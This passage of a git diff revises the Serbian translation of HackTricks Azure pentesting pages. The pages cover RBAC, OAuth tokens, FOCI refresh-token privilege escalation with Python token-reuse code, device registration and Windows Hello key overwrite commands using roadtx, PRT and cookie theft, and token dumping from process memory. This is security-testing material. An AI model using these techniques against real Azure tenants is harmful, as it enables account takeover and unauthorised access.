instanci** Azure usluge (više resursa). Za korisnikom dodeljene upravljane identitete, **identitet se upravlja odvojeno od resursa koji ga koriste**. +- **Sistemom dodeljeni**. Neke Azure usluge omogućavaju vam da **omogućite upravljani identitet direktno na instanci usluge**. Kada omogućite sistemom dodeljeni upravljani identitet, **servisni princip** se kreira u Entra ID tenant-u kojem veruje pretplata u kojoj se resurs nalazi. Kada se **resurs** **obriše**, Azure automatski **briše** **identitet** za vas. +- **Korisnikom dodeljeni**. Takođe je moguće da korisnici generišu upravljane identitete. Ovi se kreiraju unutar grupe resursa unutar pretplate i servisni princip će biti kreiran u EntraID kojem veruje pretplata. Zatim, možete dodeliti upravljani identitet jednoj ili **više instanci** Azure usluge (više resursa). Za korisnikom dodeljene upravljane identitete, **identitet se upravlja odvojeno od resursa koji ga koriste**. Upravljani identiteti **ne generišu večne kredencijale** (kao što su lozinke ili sertifikati) za pristup kao servisni princip koji je povezan sa njima. @@ -205,11 +205,11 @@ Primer: - Implementacija: - Kreirajte administrativne jedinice za svaku regiju (npr., "Severna Amerika AU", "Evropa AU"). - Popunite AU sa korisnicima iz njihovih odgovarajućih regija. -- AU može **sadržati korisnike, grupe ili uređaje** +- AU mogu **sadržati korisnike, grupe ili uređaje** - AU podržavaju **dinamička članstva** - AU **ne mogu sadržati AU** - Dodelite administrativne uloge: -- Dodelite ulogu "Administrator korisnika" regionalnom IT osoblju, ograničeno na AU njihove regije. +- Dodelite ulogu "Administrator korisnika" regionalnom IT osoblju, ograničenu na AU njihove regije. - Ishod: Regionalni IT administratori mogu upravljati korisničkim nalozima unutar svoje regije bez uticaja na druge regije. ### Entra ID uloge @@ -223,25 +223,25 @@ Primer: **Uloge** se **dodeljuju** **principima** na **opsegu**: `principal -[HAS ROLE]->(scope)` -**Uloge** dodeljene **grupama** se **nasleđuju** od svih **članova** grupe. +**Uloge** dodeljene **grupama** se **nasleđuju** svim **članovima** grupe. -U zavisnosti od opsega na koji je uloga dodeljena, **uloga** se može **naslediti** na **druge resurse** unutar kontejnera opsega. Na primer, ako korisnik A ima **ulogu na pretplati**, imaće tu **ulogu na svim grupama resursa** unutar pretplate i na **svim resursima** unutar grupe resursa. +U zavisnosti od opsega na koji je uloga dodeljena, **uloga** se može **naslediti** na **druge resurse** unutar kontejnera opsega. Na primer, ako korisnik A ima **ulogu na pretplati**, on će imati tu **ulogu na svim grupama resursa** unutar pretplate i na **svim resursima** unutar grupe resursa. ### **Klasične uloge** -| **Vlasnik** |
  • Puni pristup svim resursima
  • Može upravljati pristupom za druge korisnike
| Svi tipovi resursa | -| ------------------------------- | ------------------------------------------------------------------------------------------ | ------------------ | -| **Doprinosilac** |
  • Puni pristup svim resursima
  • Ne može upravljati pristupom
| Svi tipovi resursa | -| **Čitač** | • Pregled svih resursa | Svi tipovi resursa | -| **Administrator pristupa korisnika** |
  • Pregled svih resursa
  • Može upravljati pristupom za druge korisnike
| Svi tipovi resursa | +| **Vlasnik** |
  • Puni pristup svim resursima
  • Može upravljati pristupom za druge korisnike
| Svi tipovi resursa | +| ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | +| **Doprinosilac** |
  • Puni pristup svim resursima
  • Ne može upravljati pristupom
| Svi tipovi resursa | +| **Čitač** | • Pregled svih resursa | Svi tipovi resursa | +| **Administrator pristupa korisnika** |
  • Pregled svih resursa
  • Može upravljati pristupom za druge korisnike
| Svi tipovi resursa | ### Ugrađene uloge -[Iz dokumenata: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure kontrola pristupa zasnovana na ulogama (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ima nekoliko **ugrađenih uloga** koje možete **dodeliti** **korisnicima, grupama, servisnim principima i upravljanim identitetima**. Dodeljivanje uloga je način na koji kontrolišete **pristup Azure resursima**. Ako ugrađene uloge ne zadovoljavaju specifične potrebe vaše organizacije, možete kreirati svoje [**Azure prilagođene uloge**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[Iz dokumenata: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ima nekoliko Azure **ugrađenih uloga** koje možete **dodeliti** **korisnicima, grupama, servisnim principima i upravljanim identitetima**. Dodeljivanje uloga je način na koji kontrolišete **pristup Azure resursima**. Ako ugrađene uloge ne zadovoljavaju specifične potrebe vaše organizacije, možete kreirati svoje [**Azure prilagođene uloge**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** **Ugrađene** uloge se primenjuju samo na **resurse** za koje su **namenjene**, na primer, proverite ova 2 primera **ugrađenih uloga** nad Compute resursima: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Omogućava dozvolu za backup vault za izvršavanje backup-a diska. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Pruža dozvolu za backup vault za izvođenje backup-a diska. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | | [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Pregledajte virtuelne mašine u portalu i prijavite se kao običan korisnik. | fb879df8-f326-4884-b1cf-06f3ad86be52 | @@ -262,7 +262,7 @@ Ove uloge se **takođe mogu dodeliti nad logičkim kontejnerima** (kao što su g - `actions` su za kontrolu radnji nad resursom - `dataActions` su dozvole nad podacima unutar objekta -Primer dozvola JSON za prilagođenu ulogu: +Primer JSON-a dozvola za prilagođenu ulogu: ```json { "properties": { @@ -323,7 +323,7 @@ Azure Policies su **proaktivne**: mogu sprečiti kreiranje ili promenu neusklađ **Neki primeri:** -1. **Osiguranje usklađenosti sa specifičnim Azure regijama**: Ova politika osigurava da se svi resursi postavljaju u specifične Azure regije. Na primer, kompanija može želeti da osigura da su svi njeni podaci smešteni u Evropi radi usklađenosti sa GDPR-om. +1. **Osiguranje usklađenosti sa specifičnim Azure regijama**: Ova politika osigurava da su svi resursi raspoređeni u specifičnim Azure regijama. Na primer, kompanija može želeti da osigura da su svi njeni podaci smešteni u Evropi radi usklađenosti sa GDPR-om. 2. **Sprovođenje standarda imenovanja**: Politike mogu sprovoditi konvencije imenovanja za Azure resurse. Ovo pomaže u organizaciji i lakom identifikovanju resursa na osnovu njihovih imena, što je korisno u velikim okruženjima. 3. **Ograničavanje određenih tipova resursa**: Ova politika može ograničiti kreiranje određenih tipova resursa. Na primer, politika može biti postavljena da spreči kreiranje skupih tipova resursa, kao što su određene veličine VM-a, kako bi se kontrolisali troškovi. 4. **Sprovođenje politika označavanja**: Oznake su parovi ključ-vrednost povezani sa Azure resursima koji se koriste za upravljanje resursima. Politike mogu sprovoditi da određene oznake moraju biti prisutne, ili imati specifične vrednosti, za sve resurse. Ovo je korisno za praćenje troškova, vlasništvo ili kategorizaciju resursa. @@ -354,16 +354,16 @@ Azure policy json example: U Azure **dozvole se mogu dodeliti bilo kojem delu hijerarhije**. To uključuje upravljačke grupe, pretplate, grupe resursa i pojedinačne resurse. Dozvole se **nasleđuju** od sadržanih **resursa** entiteta gde su dodeljene. -Ova hijerarhijska struktura omogućava efikasno i skalabilno upravljanje dozvolama pristupa. +Ova hijerarhijska struktura omogućava efikasno i skalabilno upravljanje dozvolama za pristup.
### Azure RBAC vs ABAC **RBAC** (kontrola pristupa zasnovana na ulozi) je ono što smo već videli u prethodnim sekcijama: **Dodeljivanje uloge principalu kako bi mu se omogućio pristup** resursu.\ -Međutim, u nekim slučajevima možda ćete želeti da obezbedite **preciznije upravljanje pristupom** ili **pojednostavite** upravljanje **stotinama** dodela uloga. +Međutim, u nekim slučajevima možda ćete želeti da obezbedite **fino podešeno upravljanje pristupom** ili **pojednostavite** upravljanje **stotinama** dodela uloga. -Azure **ABAC** (kontrola pristupa zasnovana na atributima) se oslanja na Azure RBAC dodavanjem **uslova dodele uloga zasnovanih na atributima** u kontekstu specifičnih akcija. _Uslov dodele uloge_ je **dodatna provera koju možete opcionalno dodati svojoj dodeli uloge** kako biste obezbedili precizniju kontrolu pristupa. Uslov filtrira dozvole dodeljene kao deo definicije uloge i dodele uloge. Na primer, možete **dodati uslov koji zahteva da objekat ima specifičnu oznaku da bi se pročitao objekat**.\ +Azure **ABAC** (kontrola pristupa zasnovana na atributima) se oslanja na Azure RBAC dodavanjem **uslova dodele uloga zasnovanih na atributima** u kontekstu specifičnih akcija. _Uslov dodele uloge_ je **dodatna provera koju možete opcionalno dodati svojoj dodeli uloge** kako biste obezbedili fino podešenu kontrolu pristupa. Uslov filtrira dozvole dodeljene kao deo definicije uloge i dodele uloge. Na primer, možete **dodati uslov koji zahteva da objekat ima specifičnu oznaku da bi se pročitao objekat**.\ Ne možete eksplicitno **odbiti** **pristup** specifičnim resursima **korišćenjem uslova**. ## Reference diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d0fe27a94..0da49a481 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,10 +1,10 @@ -# Az - Tokens & Public Applications +# Az - Tokeni i javne aplikacije {{#include ../../../banners/hacktricks-training.md}} -## Osnovne Informacije +## Osnovne informacije -Entra ID je Microsoftova platforma za upravljanje identitetom i pristupom (IAM) zasnovana na oblaku, koja služi kao osnovni sistem za autentifikaciju i autorizaciju za usluge kao što su Microsoft 365 i Azure Resource Manager. Azure AD implementira OAuth 2.0 okvir za autorizaciju i OpenID Connect (OIDC) protokol za autentifikaciju za upravljanje pristupom resursima. +Entra ID je Microsoftova platforma za upravljanje identitetom i pristupom (IAM) zasnovana na oblaku, koja služi kao osnovni sistem za autentifikaciju i autorizaciju za usluge kao što su Microsoft 365 i Azure Resource Manager. Azure AD implementira OAuth 2.0 okvir autorizacije i OpenID Connect (OIDC) protokol autentifikacije za upravljanje pristupom resursima. ### OAuth @@ -15,18 +15,18 @@ Entra ID je Microsoftova platforma za upravljanje identitetom i pristupom (IAM) 3. **Klijentska aplikacija (CA):** Aplikacija koja traži pristup resursima u ime vlasnika resursa. 4. **Server autorizacije (AS):** Izdaje pristupne tokene klijentskim aplikacijama nakon autentifikacije i autorizacije. -**Opsezi i saglasnost:** +**Opsezi i pristanak:** - **Opsezi:** Granularne dozvole definisane na serveru resursa koje specificiraju nivoe pristupa. -- **Saglasnost:** Proces kojim vlasnik resursa daje klijentskoj aplikaciji dozvolu za pristup resursima sa specifičnim opsezima. +- **Pristanak:** Proces kojim vlasnik resursa daje klijentskoj aplikaciji dozvolu za pristup resursima sa specifičnim opsezima. **Integracija sa Microsoft 365:** - Microsoft 365 koristi Azure AD za IAM i sastoji se od više "prvih strana" OAuth aplikacija. - Ove aplikacije su duboko integrisane i često imaju međuzavisne odnose usluga. -- Da bi se pojednostavilo korisničko iskustvo i održala funkcionalnost, Microsoft daje "implicitnu saglasnost" ili "pre-saglasnost" ovim aplikacijama prve strane. -- **Implicitna saglasnost:** Određene aplikacije automatski **dobijaju pristup specifičnim opsezima bez eksplicitnog odobrenja korisnika ili administratora**. -- Ovi pre-saglašeni opsezi su obično skriveni i od korisnika i od administratora, čineći ih manje vidljivim u standardnim upravljačkim interfejsima. +- Da bi se pojednostavilo korisničko iskustvo i održala funkcionalnost, Microsoft daje "implicitni pristanak" ili "prethodni pristanak" ovim aplikacijama prve strane. +- **Implicitni pristanak:** Određene aplikacije automatski **dobijaju pristup specifičnim opsezima bez eksplicitnog odobrenja korisnika ili administratora**. +- Ovi prethodno odobreni opsezi su obično skriveni i od korisnika i od administratora, čineći ih manje vidljivim u standardnim upravljačkim interfejsima. **Tipovi klijentskih aplikacija:** @@ -38,21 +38,21 @@ Entra ID je Microsoftova platforma za upravljanje identitetom i pristupom (IAM) - Ne mogu sigurno da se autentifikuju na serveru autorizacije. - **Bezbednosna implikacija:** Napadač može da se pretvara da je javna klijentska aplikacija prilikom traženja tokena, jer ne postoji mehanizam za server autorizacije da verifikuje legitimnost aplikacije. -## Autentifikacioni Tokeni +## Autentifikacioni tokeni Postoje **tri tipa tokena** koji se koriste u OIDC: - [**Pristupni tokeni**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Klijent predstavlja ovaj token serveru resursa da bi **pristupio resursima**. Može se koristiti samo za specifičnu kombinaciju korisnika, klijenta i resursa i **ne može biti opozvan** do isteka - što je 1 sat po defaultu. - **ID tokeni**: Klijent prima ovaj **token od servera autorizacije**. Sadrži osnovne informacije o korisniku. **Povezan je sa specifičnom kombinacijom korisnika i klijenta**. - **Refresh tokeni**: Dodeljuju se klijentu zajedno sa pristupnim tokenom. Koriste se za **dobijanje novih pristupnih i ID tokena**. Povezani su sa specifičnom kombinacijom korisnika i klijenta i mogu biti opozvani. Podrazumevano vreme isteka je **90 dana** za neaktivne refresh tokene i **nema isteka za aktivne tokene** (iz refresh tokena je moguće dobiti nove refresh tokene). -- Refresh token treba biti povezan sa **`aud`**, sa nekim **opsezima**, i sa **tenantom** i treba da može da generiše pristupne tokene samo za taj aud, opsege (i ništa više) i tenant. Međutim, ovo nije slučaj sa **FOCI aplikacijama tokena**. +- Refresh token bi trebao biti vezan za **`aud`**, za neke **opsege**, i za **tenanta** i trebao bi moći da generiše pristupne tokene samo za taj aud, opsege (i ništa više) i tenant. Međutim, ovo nije slučaj sa **FOCI aplikacijama**. - Refresh token je enkriptovan i samo Microsoft može da ga dekriptuje. - Dobijanje novog refresh tokena ne opoziva prethodni refresh token. > [!WARNING] > Informacije za **uslovni pristup** su **smeštene** unutar **JWT**. Dakle, ako zatražite **token sa dozvoljene IP adrese**, ta **IP** će biti **smeštena** u tokenu i tada možete koristiti taj token sa **nedozvoljene IP adrese za pristup resursima**. -### Pristupni Tokeni "aud" +### Pristupni tokeni "aud" Polje označeno u "aud" polju je **server resursa** (aplikacija) koji se koristi za obavljanje prijave. @@ -63,12 +63,12 @@ Komanda `az account get-access-token --resource-type [...]` podržava sledeće t
-aud primeri +primeri aud -- **aad-graph (Azure Active Directory Graph API)**: Koristi se za pristup nasleđenom Azure AD Graph API (ukinut), koji omogućava aplikacijama da čitaju i pišu podatke direktorijuma u Azure Active Directory (Azure AD). +- **aad-graph (Azure Active Directory Graph API)**: Koristi se za pristup starom Azure AD Graph API (ukinut), koji omogućava aplikacijama da čitaju i pišu podatke direktorijuma u Azure Active Directory (Azure AD). - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Koristi se za upravljanje Azure resursima putem Azure Resource Manager API. Ovo uključuje operacije kao što su kreiranje, ažuriranje i brisanje resursa kao što su virtuelne mašine, skladišni nalozi i još mnogo toga. +* **arm (Azure Resource Manager)**: Koristi se za upravljanje Azure resursima putem Azure Resource Manager API-ja. Ovo uključuje operacije kao što su kreiranje, ažuriranje i brisanje resursa kao što su virtuelne mašine, skladišni nalozi i još mnogo toga. - `https://management.core.windows.net/ or https://management.azure.com/` - **batch (Azure Batch Services)**: Koristi se za pristup Azure Batch, usluzi koja omogućava efikasno izvođenje aplikacija za paralelno i visokoperformantno računanje u oblaku. @@ -80,7 +80,7 @@ Komanda `az account get-access-token --resource-type [...]` podržava sledeće t - **media (Azure Media Services)**: Koristi se za pristup Azure Media Services, koje pružaju usluge obrade i isporuke medija zasnovane na oblaku za video i audio sadržaj. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Koristi se za pristup Microsoft Graph API, jedinstvenom kraju za podatke usluga Microsoft 365. Omogućava vam pristup podacima i uvidima iz usluga kao što su Azure AD, Office 365, Enterprise Mobility i Security usluge. +* **ms-graph (Microsoft Graph API)**: Koristi se za pristup Microsoft Graph API-ju, jedinstvenom kraju za podatke usluga Microsoft 365. Omogućava vam pristup podacima i uvidima iz usluga kao što su Azure AD, Office 365, Enterprise Mobility i Security usluge. - `https://graph.microsoft.com` - **oss-rdbms (Azure Open Source Relational Databases)**: Koristi se za pristup Azure Database uslugama za open-source relacione baze podataka kao što su MySQL, PostgreSQL i MariaDB. @@ -88,11 +88,11 @@ Komanda `az account get-access-token --resource-type [...]` podržava sledeće t
-### Pristupni Tokeni Opsezi "scp" +### Pristupni tokeni opsezi "scp" Opseg pristupnog tokena se čuva unutar scp ključa unutar JWT pristupnog tokena. Ovi opsezi definišu šta pristupni token može da pristupi. -Ako je JWT dozvoljeno da kontaktira određeni API, ali **nema opseg** za izvršenje tražene akcije, **neće moći da izvrši akciju** sa tim JWT-om. +Ako je JWT dozvoljeno da kontaktira određeni API, ali **nema opseg** za izvršenje tražene radnje, **neće moći da izvrši radnju** sa tim JWT. ### Primer dobijanja refresh & pristupnog tokena ```python @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -147,9 +146,9 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCI Tokens Privilege Escalation -Prethodno je pomenuto da bi refresh tokeni trebali biti vezani za **scopes** sa kojima su generisani, za **aplikaciju** i **tenant** za koji su generisani. Ako se bilo koja od ovih granica prekine, moguće je eskalirati privilegije jer će biti moguće generisati access tokene za druge resurse i tenante kojima korisnik ima pristup i sa više scopes nego što je prvobitno bilo predviđeno. +Prethodno je pomenuto da bi refresh tokeni trebali biti vezani za **scopes** sa kojima su generisani, za **aplikaciju** i **tenant** za koji su generisani. Ako se bilo koja od ovih granica prekine, moguće je eskalirati privilegije jer će biti moguće generisati access tokene za druge resurse i tenante kojima korisnik ima pristup i sa više scopes nego što je prvobitno predviđeno. -Štaviše, **to je moguće sa svim refresh tokenima** u [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra računi, Microsoft lični računi i društveni računi kao što su Facebook i Google) jer, kao što [**dokumentacija**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) pominje: "Refresh tokeni su vezani za kombinaciju korisnika i klijenta, ali **nisu vezani za resurs ili tenant**. Klijent može koristiti refresh token da dobije access tokene **kroz bilo koju kombinaciju resursa i tenanta** gde ima dozvolu da to uradi. Refresh tokeni su enkriptovani i samo Microsoft identity platform može da ih pročita." +Štaviše, **to je moguće sa svim refresh tokenima** u [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra računi, Microsoft lični računi i društveni računi poput Facebook-a i Google-a) jer, kao što [**dokumentacija**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) pominje: "Refresh tokeni su vezani za kombinaciju korisnika i klijenta, ali **nisu vezani za resurs ili tenant**. Klijent može koristiti refresh token da dobije access tokene **kroz bilo koju kombinaciju resursa i tenanta** gde ima dozvolu da to uradi. Refresh tokeni su enkriptovani i samo Microsoft identity platform može da ih pročita." Takođe, imajte na umu da su FOCI aplikacije javne aplikacije, tako da **nije potreban nikakav tajni ključ** za autentifikaciju na serveru. @@ -190,7 +189,7 @@ scopes=["https://graph.microsoft.com/.default"], # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` -## References +## Reference - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index ab6318848..632e8ca38 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -14,9 +14,9 @@ Zatim, **objekat** se generiše u **AzureAD** (ne u Intune) i AzureAD vraća ure ```bash dsregcmd /status ``` -После регистрације уређаја, **Primary Refresh Token** захтева модул LSASS CloudAP и даје се уређају. Уз PRT се такође испоручује **кључ сесије шифрован тако да само уређај може да га дешифрује** (користећи јавни кључ транспортног кључа) и **потребан је за коришћење PRT.** +Nakon registracije uređaja, **Primary Refresh Token** zahteva LSASS CloudAP modul i dodeljuje se uređaju. Uz PRT se takođe isporučuje **ključ sesije koji je enkriptovan tako da ga samo uređaj može dekriptovati** (koristeći javni ključ transportnog ključa) i **neophodan je za korišćenje PRT-a.** -За више информација о томе шта је PRT погледајте: +Za više informacija o tome šta je PRT, pogledajte: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -24,18 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Trusted Platform Module -**TPM** **штити** од извлачења кључева **из уређаја** који је искључен (ако је заштићен ПИН-ом) и од извлачења приватног материјала из ОС слоја.\ -Али **не штити** од **ослушкивања** физичке везе између TPM-а и ЦПУ-а или **коришћења криптографског материјала** у TPM-у док систем ради из процеса са **SYSTEM** правима. +**TPM** **štiti** od **ekstrakcije** ključeva sa isključenog uređaja (ako je zaštićen PIN-om) i od ekstrakcije privatnog materijala iz OS sloja.\ +Ali **ne štiti** od **sniffing-a** fizičke veze između TPM-a i CPU-a ili **korišćenja kriptografskog materijala** u TPM-u dok sistem radi iz procesa sa **SYSTEM** pravima. -Ако погледате следећу страницу, видећете да **крађа PRT** може да се користи за приступ као **корисник**, што је одлично јер се **PRT налази на уређајима**, тако да се може украсти од њих (или ако не буде украден, злоупотребити за генерисање нових кључева за потписивање): +Ako pogledate sledeću stranicu, videćete da se **krađa PRT-a** može koristiti za pristup kao **korisnik**, što je odlično jer se **PRT nalazi na uređajima**, tako da se može ukrasti od njih (ili, ako nije ukraden, zloupotrebiti za generisanje novih ključeva za potpisivanje): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Регистровање уређаја са SSO токенима +## Registracija uređaja sa SSO tokenima -Било би могуће да нападач затражи токен за услугу регистрације уређаја Microsoft са компромитованог уређаја и региструје га: +Bilo bi moguće da napadač zatraži token za Microsoft uslugu registracije uređaja sa kompromitovanog uređaja i registruje ga: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -53,7 +53,7 @@ Koji će vam dati **sertifikat koji možete koristiti za traženje PRT-ova u bud > Imajte na umu da će vam za izvođenje ovog napada biti potrebne dozvole za **registraciju novih uređaja**. Takođe, registracija uređaja ne znači da će uređaj biti **odobren za upis u Intune**. > [!CAUTION] -> Ovaj napad je ispravljen u septembru 2021. godine jer više ne možete registrovati nove uređaje koristeći SSO tokene. Međutim, još uvek je moguće registrovati uređaje na legitiman način (imajući korisničko ime, lozinku i MFA ako je potrebno). Proverite: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). +> Ovaj napad je ispravljen u septembru 2021. godine jer više nije moguće registrovati nove uređaje koristeći SSO tokene. Međutim, još uvek je moguće registrovati uređaje na legitiman način (imajući korisničko ime, lozinku i MFA ako je potrebno). Proverite: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). ## Prepisivanje uređajnog tiketa @@ -72,21 +72,21 @@ Sažetak napada: - Moguće je **prepisati** **registrovani WHFB** ključ sa **uređaja** putem SSO - To **obara TPM zaštitu** jer se ključ **snima tokom generisanja** novog ključa -- Ovo takođe pruža **postojanost** +- Ovo takođe obezbeđuje **postojanost**
-Korisnici mogu modifikovati svoju pretraživuDeviceKey svojstvo putem Azure AD Graph, međutim, napadač treba da ima uređaj u tenant-u (registrovan u hodu ili ukraden sertifikat + ključ sa legitimen uređaj) i važeći pristupni token za AAD Graph. +Korisnici mogu modifikovati svoj vlastiti searchableDeviceKey property putem Azure AD Graph, međutim, napadač treba da ima uređaj u tenant-u (registrovan u hodu ili ukraden sertifikat + ključ sa legitimenog uređaja) i važeći pristupni token za AAD Graph. Zatim, moguće je generisati novi ključ sa: ```bash roadtx genhellokey -d -k tempkey.key ``` -и онда PATCH информације о searchableDeviceKey: +и онда PATCH-ујте информације о searchableDeviceKey:
-Могуће је добити access token од корисника преко **device code phishing** и злоупотребити претходне кораке да **краде његов приступ**. За више информација погледајте: +Могуће је добити access token од корисника преко **device code phishing** и злоупотребити претходне кораке да **крадете његов приступ**. За више информација погледајте: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 425813fcd..375de96a9 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -1,4 +1,4 @@ -# Az - Enumeration Tools +# Az - Alati za Enumeraciju {{#include ../../banners/hacktricks-training.md}} @@ -63,7 +63,7 @@ Korišćenjem parametra **`--debug`** moguće je videti sve zahteve koje alat ** ```bash az account management-group list --output table --debug ``` -Da biste izvršili **MitM** na alatu i **proverili sve zahteve** koje šalje ručno, možete uraditi: +Da biste izvršili **MitM** na alatu i **ručno proverili sve zahteve** koje šalje, možete uraditi: {{#tabs }} {{#tab name="Bash" }} @@ -111,7 +111,7 @@ Da biste izvršili **MitM** na alatu i **proverili sve zahteve** koje šalje ru Microsoft Graph PowerShell je SDK koji podržava više platformi i omogućava pristup svim Microsoft Graph API-ima, uključujući usluge kao što su SharePoint, Exchange i Outlook, koristeći jedan krajnji tačku. Podržava PowerShell 7+, modernu autentifikaciju putem MSAL, spoljne identitete i napredne upite. Sa fokusom na pristup sa najmanjim privilegijama, osigurava sigurne operacije i redovno prima ažuriranja kako bi se uskladio sa najnovijim funkcijama Microsoft Graph API-ja. -Pratite ovu vezu za [**uputstva za instalaciju**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +Pratite ovaj link za [**uputstva za instalaciju**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). Komande u Microsoft Graph PowerShell su strukturirane kao: `-Mg ` @@ -123,9 +123,9 @@ Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Azure Active Directory (AD) modul, sada **ukinut**, je deo Azure PowerShell za upravljanje Azure AD resursima. Pruža cmdlets za zadatke kao što su upravljanje korisnicima, grupama i registracijama aplikacija u Entra ID. +Modul Azure Active Directory (AD), sada **ukinut**, je deo Azure PowerShell za upravljanje Azure AD resursima. Pruža cmdlet-e za zadatke kao što su upravljanje korisnicima, grupama i registracijama aplikacija u Entra ID. > [!TIP] > Ovo je zamenjeno Microsoft Graph PowerShell -Pratite ovu vezu za [**uputstva za instalaciju**](https://www.powershellgallery.com/packages/AzureAD). +Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index a9fdb0646..ba67d496d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -41,22 +41,22 @@ az-primary-refresh-token-prt.md ### Tehnike pivotiranja -Od **kompromitovane mašine do cloud-a**: +Od **kompromitovane mašine do clouda**: -- [**Pass the Cookie**](az-pass-the-cookie.md): Ukrasti Azure kolačiće iz pretraživača i koristiti ih za prijavu -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Isprazniti memoriju lokalnih procesa sinhronizovanih sa cloud-om (kao što su excel, Teams...) i pronaći access tokene u čistom tekstu. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishovati PRT da bi se zloupotrebio -- [**Pass the PRT**](pass-the-prt.md): Ukrasti PRT uređaja da bi se pristupilo Azure-u pretvarajući se da je to uređaj. -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generisati sertifikat na osnovu PRT-a za prijavu sa jedne mašine na drugu +- [**Pass the Cookie**](az-pass-the-cookie.md): Ukrao Azure kolačiće iz pretraživača i koristi ih za prijavu +- [**Dump processes access tokens**](az-processes-memory-access-token.md): Izvuci memoriju lokalnih procesa sinhronizovanih sa cloud-om (kao što su excel, Teams...) i pronađi access tokene u čistom tekstu. +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishuj PRT da bi ga zloupotrebio +- [**Pass the PRT**](pass-the-prt.md): Ukrao PRT uređaja da bi pristupio Azure-u pretvarajući se u njega. +- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generiši sertifikat na osnovu PRT-a da bi se prijavio sa jedne mašine na drugu -Od kompromitovanja **AD** do kompromitovanja **Cloud-a** i od kompromitovanja **Cloud-a do** kompromitovanja **AD**: +Od kompromitovanja **AD** do kompromitovanja **Clouda** i od kompromitovanja **Clouda do** kompromitovanja **AD**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Drugi način za pivotiranje od cloud-a do On-Prem je** [**zloupotreba Intune**](../az-services/intune.md) +- **Drugi način za pivotiranje od clouda do On-Prem je** [**zloupotreba Intune-a**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -Ovaj alat omogućava izvođenje nekoliko akcija kao što je registracija mašine u Azure AD za dobijanje PRT-a, i korišćenje PRT-ova (legitimnih ili ukradenih) za pristup resursima na nekoliko različitih načina. Ovo nisu direktni napadi, ali olakšava korišćenje PRT-ova za pristup resursima na različite načine. Pronađite više informacija na 